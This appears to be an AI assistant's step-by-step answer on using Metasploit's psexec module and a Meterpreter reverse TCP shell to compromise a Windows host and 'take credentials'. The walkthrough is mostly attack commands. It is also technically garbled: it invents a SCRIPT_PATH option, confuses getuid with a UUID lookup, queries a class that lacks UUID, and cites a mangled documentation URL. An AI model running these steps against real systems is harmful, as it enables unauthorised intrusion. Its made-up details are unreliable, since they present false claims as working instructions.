Here is a detailed response to your question:
Title: Using Msfconsole module exploit/windows/smb/psexec to take Windows client credentials and get UUID
Introduction: In this example, we will demonstrate how to use the Metasploit Framework (Msfconsole) to exploit the Windows Server Message Block (SMB) service and execute a script that retrieves the UUID of the targeted Windows client.
Prerequisites:
- Install Metasploit Framework (Msfconsole)
- Know the IP address of the targeted Windows client
Steps:
- Open Msfconsole by running the following command in your terminal:
msfconsole
- Once Msfconsole is open, use the
usecommand to select the exploit module:
use exploit/windows/smb/psexec
- Set the required options for the exploit, such as the RHOST (target IP address) and the SMB share:
set RHOST <target_IP_address>
set SMB_SHARE <SMB_share_name>
- Now, we will create a script to execute on the targeted Windows client. For this example, we will use
psexec.ps1to get the UUID of the client. Save the following script aspsexec.ps1on your local machine:
Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property UUID
- In Msfconsole, set the payload and the script path:
set PAYLOAD windows/x64/meterpreter_reverse_tcp
set SCRIPT_PATH <path_to_psexec.ps1>
- Finally, run the exploit by executing the following command:
run
- After the exploit is executed, a meterpreter session will be established. To get the UUID of the targeted Windows client, run the following command in the meterpreter session:
getuid
Conclusion: In this example, we demonstrated how to use the Msfconsole module exploit/windows/smb/psexec to take Windows client credentials and get the UUID of the targeted Windows client. This technique can be useful for various purposes, such as identifying clients in a network or performing post-exploitation tasks.
References:
- Metasploit Framework: https://www.metasploit.com/
- PowerShell Script: https://docs.microsoft.com/en-us/powershell/module/microsftpowershelluniversal/get-wmiobject?view=powershell_7.2